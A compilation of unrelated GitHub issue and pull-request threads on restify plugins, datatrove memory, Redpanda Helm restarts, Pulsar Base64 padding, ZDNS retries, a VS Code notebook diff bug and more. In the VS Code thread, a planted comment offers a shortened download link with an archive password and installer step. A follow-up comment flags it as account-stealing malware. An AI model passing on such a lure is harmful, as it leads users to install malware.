[x] Migrate plugins to main repo
[ ] Add notice to top of README.md
[ ] Add notice to description on GitHub repo
[ ] npm deprecate
[ ] Create ISSUE_TEMPLATE and PULL_REQUEST_TEMPLATE pointing back to node-restify
[ ] Release 5.x w/ bundled plugins

@DonutEspresso heya, mind running npm deprecate for me? I don't believe I have access to the npm repo.

Any insight as to why the decision was made to migrate plugins back into node-restify? Just curious :)

@sean3z yeah, I think all of these conversations happened on back-channels which is a no-no on our part. This will be a brain dump, so apologies if its rough around the edges :smile:
Essentially we had been blocked on a 5.x release for ~2 years. There is still a lot of coupling between the restify-plugins and the restify code base. To complicate matters even further, we have never really had an explicit contract for the plugin API. This had some wild implications for plugin versioning and semver. A pretty good overview of those challenges can be found here: https://github.com/TabDigital/restify-cors-middleware/issues/22#issuecomment-311759049
The decision was made to move the plugins back into the repo for now so we could go ahead and ship 5.x without having to worry about versioning just yet. CORS has officially been broken out ( :tada: ) of the restify repo which is hopefully going to be the proverbial "fire under our butts" to get a solid contract for our API that will allow us to break the plugins back out in future releases.
I think, long term, I'd like to see most of the plugins that we currently maintain as part of the codebase be moved out into userland. Even if that is a 'restify-userland' repo where community members can come and contribute. Restify at it's core is really only interested in REST services. Browser compliance, serving static content, etc. all sit firmly outside of it's wheelhouse. Separating out all of these responsibilities will help us increase our velocity by reducing the number of moving parts the core contributors need to worry about.


Memory overflow issue with long-context data using datatrove

I've been using datatrove to read .jsonl files and count tokens with token_counter in a local node. I'm encountering an issue where the process was killed due to memory overflow while handling long-context data (like books). It seems weird that simply counting tokens would cause such a problem, especially since my own token counting script doesn't have any memory issues.
I haven't completely nailed down the cause, but it looks like it might be related to executor/base.py keeping data in memory until all pipeline tasks (with all data) are completed. Could this be the reason for the memory overflow? If so, do you have any suggestions on how we might improve or workaround this?
Thanks for any insights you can provide!

I think it's connected to https://github.com/huggingface/datatrove/issues/161. Are you running locally using multiple tasks ?


Rate Metric Aggregation

Is your feature request related to a problem? Please describe.
I have a counter metric. I need to be able to derive a rate from the counter metric.
Describe the solution you'd like
Should calculate the per-second average rate of increase of the time series of the counter metric. Breaks in monotonicity (such as counter resets due to target restarts) should be automatically accounted for.
Additional context
See https://prometheus.io/docs/prometheus/latest/querying/functions/#rate

This is a useful metric for other reports as well. I would say, it is a med priority within our metric enhancements


quote feature

Add feature for saving and displaying quotes on a per-server basis

added. room for improvement later


variables

Current dependencies on/for this PR:

main

PR #2   👈

This comment was auto-generated by Graphite.


Helm chart should only trigger restart on cluster-level config updates when needs-restart=true

What would you like to be added?
Slack thread: https://redpandadata.slack.com/archives/C01H6JRQX1S/p1689629808218159
changes to cluster-level configs should utilize the needs-restart value in rpk cluster config status to determine if a rolling restart should occur when we apply rpk cluster config set commands on cluster-level values. not every value requires a restart (there's about 30-35 that really need it, the others apply live)
Why is this needed?
Currently, we look at the checksum of the configmap to determine if we need to restart. I think this means we will be more aggressive in restarting the cluster than we need to be. If we can rely upon rpk cluster config status we can trigger fewer unnecessary restarts which can be lengthy and disruptive on larger clusters.
https://github.com/redpanda-data/helm-charts/blob/29034f55dc948f55e612b147c20a5ffa0e65be1c/charts/redpanda/templates/statefulset.yaml#L60-L61

Not sure if this affects operator as well, but worth a look.

Not sure if this affects operator as well, but worth a look.

That's one of the beauties of the new Redpanda controller. If it's fixed here, it's fixed there.

There needs to be a needs-restart parameter as described, but I think it should also take into account other node-level changes such as external advertised listeners.
For example, today it's not possible to update external advertised listeners. This is a frequent request especially when new users are first starting out... they are surprised to see that their brokers are advertising redpanda-0 or redpanda-0.local and want to know how to change this. The only option is to uninstall and then redeploy.
node-restart could be set to true based on multiple checks:

the NEEDS-RESTART value found with rpk cluster config status
whether advertised listeners (and possibly other similarly-handled parameters) have changed outside of the ConfigMap

Another approach could be to have Redpanda itself update the NEEDS-RESTART value whenever updates are detected in a broker's /etc/redpanda/redpanda.yaml file. This would mean the helm chart would only respond to NEEDS-RESTART: true and wouldn't have to keep track of any other config changes (related Redpanda issue).


[C++] Fix wrong Base64 paddings

Motivation
This bug was introduced from #11492, which adds padding characters but it will still add 4 =s even if the length can be divided by 4. Following tests are broken currently:

ProtobufNativeSchemaTest.testAutoCreateSchema
ProtobufNativeSchemaTest.testEndToEnd
ProtobufNativeSchemaTest.testSchemaJson
ProtobufNativeSchemaTest.testSchemaIncompatibility

Modifications
Only add at most 2 padding characters in Base64 encoding. If the Base64 encoded string's length is 4N+1, there must be something wrong with the encoding, so throw an exception in this case.
Verifying this change
Currently CI of C++ client is broken, we only need to confirm with the workflow output to ensure this fix works.

Following output is from https://github.com/apache/pulsar/pull/11578/checks?check_run_id=3259005013.


fix: pullsync context cancellation

This change is

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@11f9aa8). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master    #2562   +/-   ##
=========================================
  Coverage          ?   63.77%
=========================================
  Files             ?      232
  Lines             ?    25797
  Branches          ?        0
=========================================
  Hits              ?    16451
  Misses            ?     7860
  Partials          ?     1486

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 11f9aa8...f84e8cb. Read the comment docs.


Remove -XX:MaxPermSize, obsolete in JDK8 and above.

Changes proposed in this PR

Remove this option

Why are we making these changes?

This option is obsolete in JDK8 and above. It suppresses an error message that occurs on many lein commands.

@dposada Last time I wanted to do this, it impacted your workflow. Is your workflow now JDK8-based?

If you're able to run with scheduler/bin/build-docker-image.sh && scheduler/bin/run-docker.sh, then I should be good

That works fine; I've been doing it for integration tests with no problem.


SAM-3006 Use publishedSettings values

Fix up errornously using assessmentSettings values where
publishedSettings values are needed.

LGTM


SW-6302 Add document preview code for tables that are inserted into a document template

#3388  👈 (View in Graphite)
main

This stack of pull requests is managed by Graphite. Learn more about stacking.


Add installer/make script

I don't think this is needed. It makes the whole project more complicated for no real reason.


Add dispositions feature

Summary
This feature adds a disposition tab to TaskCanvasTabs. When the task enters the wrapping state, the disposition tab is automatically selected. The user's selected disposition and/or notes are stored in state. When the Complete Task button is pressed, the selected values are read from state and written to task attributes. The disposition is stored in the conversations.outcome attribute, and notes are stored in the conversations.content attribute.
If require_disposition is enabled, and there are dispositions configured, the agent will not be allowed to complete the task until one is selected.
If no dispositions are configured, and notes are not enabled, the dispositions tab will not be added.
Added deferred task attribute update functionality to TaskRouterService. updateTaskAttributes now accepts a third parameter allowing you to opt into deferred updates. Deferred updates are flushed out to TaskRouter when either a non-deferred update occurs, or CompleteTask is invoked. Existing features have been updated to disable deferred updates where necessary.
Checklist

[x] Tested changes end to end
[x] For Flex features added, ensure the feature list on the README on the project root folder is updated
[x] Completed README template for new features

[x] Feature summary - high level summary of what the feature does
[x] Flex User Experience with animations - animations with descriptions if necessary of the user experience in Flex
[x] Setup and dependencies - description of any setup steps required for this feature
[x] How does it work? - description of plumbing supporting feature

[x] Added PR Label "ready-for-review"
[x] Requested one or more reviewers for the PR

there is a challenge here with the use of task attributes to store the disposition information which is unfortunately the result of call transfers being facilitated by multiple reservations on the same task.  This results in race conditions around storing of the data which although in many cases will be fine, there are edge cases that cannot be resolved with a change in the way task attributes are facilitated between task reservations.
this is excellent work though, i wonder if we should start by enabling it only for chat and we can discuss options for call support in the future

another thing to consider is the interplay between this feature and the agent automation / auto wrap feature as well as supervisor disposition.


dict type does not have check_and_return method

def ensure_schema(schema):
"""Ensures that schema is valid."""
:param dict schema: Airflow DAGs schema.
:returns: Airflow DAGs schema.
:rtype: dict
"""
return SCHEMA.check_and_return(schema)

The schema object does not have  the check_and_return method declared. Please help?

Which version of trafaret / trafaret_config do you have?

Hi kxepal ,
I am using the following version of trafaret and python 3.6.4
trafaret==2.0.0a1
trafaret-config==1.0.1

@chandan-u This issue should be fixed in #8. Please, reopen issue if it will remains on master. We'll make release quite soon.


Make --retries global to a name and try with other name servers in a given layer

Closes #93
Description

makes --retries global to a name lookup
In --iterative, if ZDNS cannot reach (either due to timeout or some other error) a nameserver, a random alternative one will be used from the same layer
Added --network-timeout to let the user specify the connection timeout for a single on-the-wire network call
consolidated cachedRetryingLookup and retryingLookup into just cachedLookup since we moved the retry logic up a layer
added retry logic to  a new cyclingLookup function. cyclingLookup takes in an array of nameservers and provided there are --retries available, will attempt to connect/query a new random un-queried nameserver upon failure.

If all nameservers have been queried, we'll restart the process, treating all nameservers as unqueried

Performance Implications
The aspect of this change that could theoretically affect performance for some queries is before during iterateOnAuthorities we'd pick the first authority that responded to proceed with the iterativeLookup process. In order for cyclingLookup to be able to cycle through a list of potential nameservers, iterateOnAuthorities has been changed to collect all authorities sequentially.
I used make benchmark to assess the performance on a known workflow and there appears to be a discernible performance hit, but a noticeable decrease in timeouts:

70k Top CrUX names, A lookups, --iterative, 500 threads, --retries=3

Phillip/93-domain-retries

65.02 s total
584 ms avg. resolution time
153 names timed out
636 names failed to resolve

main

58.64 s total
456 ms average resolution time
949 names timed out
624 names failed to resolve

Conclusion
With the caveat that this is based on a small sample size, it seems that this PR increases runtime 10-12% (tested with 7k domains, 100 threads and 70k domains, 500 threads) but significantly decreases number of timeouts encountered. This is likely because a slow/non-responsive nameserver before could cause the resolution to time out, but in the new code, we'll try another nameserver, using a retry.

Do not merge, #411 has cropped back up so figuring out a fix.

irctc.co.in is a good test domain for this. It's nameserver, ns2 has two A records that point to IPs that don't respond at least on my network.
$ dig -t A ns2.rcil.gov.in @ns6.registry.in

; <<>> DiG 9.10.6 <<>> -t A ns2.rcil.gov.in @ns6.registry.in
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 515
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 2, ADDITIONAL: 7
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;ns2.rcil.gov.in.		IN	A

;; AUTHORITY SECTION:
rcil.gov.in.		86400	IN	NS	ns2.rcil.gov.in.
rcil.gov.in.		86400	IN	NS	ns1.rcil.gov.in.

;; ADDITIONAL SECTION:
ns2.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>
ns2.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>
ns2.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>
ns1.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>
ns1.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>
ns1.rcil.gov.in.	3600	IN	A	<IP_ADDRESS>

;; Query time: 33 msec
;; SERVER: 2001:502:ad09::20#53(2001:502:ad09::20)
;; WHEN: Fri Sep 27 16:14:38 EDT 2024
;; MSG SIZE  rcvd: 172

~ ⌚ 16:14:39
$ ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
^C
--- <IP_ADDRESS> ping statistics ---
3 packets transmitted, 0 packets received, 100.0% packet loss

~ ⌚ 16:14:48
$ ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>): 56 data bytes
Request timeout for icmp_seq 0
Request timeout for icmp_seq 1
^C
--- <IP_ADDRESS> ping statistics ---
3 packets transmitted, 0 packets received, 100.0% packet loss

~ ⌚ 16:14:56
$ ping <IP_ADDRESS>
PING <IP_ADDRESS> (<IP_ADDRESS>): 56 data bytes
64 bytes from <IP_ADDRESS>: icmp_seq=0 ttl=46 time=313.520 ms
64 bytes from <IP_ADDRESS>: icmp_seq=1 ttl=46 time=344.751 ms
^C
--- <IP_ADDRESS> ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 313.520/329.135/344.751/15.615 ms


Generated or Iterated on documentation per #5 request

This is definitely not what I had in mind.

I am sorry. I sincerely appreciate the time you invested into this. However, all I am looking for is a simple additional page in the current docs/ structure. Just one single page, which briefly describes the methods and details their signature. Nothing more or less. I am closing this PR as it does not match that expectation at all.


No Changed Files in notebook diff view

Testing #226665
Testing on latest VS Code Insiders on Windows 11 Insiders
Version: 1.93.0-insider (user setup)
Commit: ff7a154d5e5e9034914f0466420f0f1407f0c95e
Date: 2024-08-27T05:04:20.235Z
Electron: 30.4.0
ElectronBuildId: 10073054
Chromium: 124.0.6367.243
Node.js: 20.15.1
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.25987

Create notebook, add some cells, save new notebook to GH repo

Stage changes to repo with new notebook
Add y=91000000 to final cell:

✅ See notebook listed in Changes in SCM view:

❓ When I open the diff, I'm told No Changed Files:

If I Open Text Diff Editor, I do see a diff:

Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."

The above comment asking you to download a file is malware to steal your account; do not under any circumstances download or run it. The post needs to be removed. If you have attempted to run it please have your system cleaned and your account secured immediately.

I'm able to repro if I just change the content of a code cell again. I updated x's value in this cell, but the diff view doesn't show it:

Duplicatre of https://github.com/microsoft/vscode/issues/226807


Update operator on OpenShift operator hub to support v1.0

Is your feature request related to a problem? Please describe.
Latest available version (both stable and alpha) is cert-manager-operator.v0.15.2 - it would be good to have v1.0.x available.
Describe the solution you'd like
Have latest releases available.
Describe alternatives you've considered
Install directly with helm-charts - here v1.0.4 is available - but IMO operators and helm-chart versions should be on par.
Additional context

Environment details (remove if not applicable):

Kubernetes version: v1.19.0+9f84db3
Cloud-provider/provisioner: Bare-metal, OpenShift 4.6.4
cert-manager version: 0.15
Install method: operator

/kind feature

https://github.com/jetstack/cert-manager-olm/issues/16

Closing as a duplicate of https://github.com/jetstack/cert-manager-olm/issues/16#issuecomment-732094140

/close


Added usage of datastore to save discovery cache

Samsung told us that in an edge case in which the hub or the device crashes during discovery stages the device could be initialised improperly. They informed us about how to try to reduce the damage

Hello @alon-tchelet What are the next steps on this PR? Have these changes been tested?

Hello @alon-tchelet What are the next steps on this PR? Have these changes been tested?

The AVR series added haven't got to the market yet and will go into certification in the coming month or two. So was only tested in dev environemnts.
As for the driver updates and modifications for the L42ms, they are tested by the Harman led testing teams

After contact from Samsung, we reverted the new product changes and I will make a separate PR for introducing the new devices (new profile) as they suggested

Hello @alon-tchelet,
If there is no issue in your self test, could you ask @lelandblue to merge this PR?
And then WWST team can proceed CbS for new MA series in #1149 .

Hi @Seong-Yeol-Park,
I agree. This could (and should) be merge now.

This PR has merge conflicts with the code that is already in the repository.  Those will have to be resolved before we can merge this.

Hi @varzac ,
I had a look and as PR #1149 included the changes from this PR, there is no need to merge this one too. Ideally this PR should have been reviewed and merged before PR #1149 . But as the other one was merged first, conflicts appeared.
I don't know what is your process for this case, but this PR is no longer needed and its content is already merged. It could be just closed.

I had a look and as PR https://github.com/SmartThingsCommunity/SmartThingsEdgeDrivers/pull/1149 included the changes from this PR, there is no need to merge this one too. Ideally this PR should have been reviewed and merged before PR https://github.com/SmartThingsCommunity/SmartThingsEdgeDrivers/pull/1149 . But as the other one was merged first, conflicts appeared.
I don't know what is your process for this case, but this PR is no longer needed and its content is already merged. It could be just closed.

Feel free to just close this PR. There is one outstanding change after the merge of upstream/main; its not clear if that is still needed.

Hi @cjswedes ,
Can you point this change to me? I just want to make sure it's indeed not needed before closing this PR


Adding regex to authn method translating

I envision this class being used instead of the default stubbed implementation.

I'm trying to look at the codeship failure, but I get a denied message when I hit the link.

Fixed the check style errors.

I think I resolved the noted issues.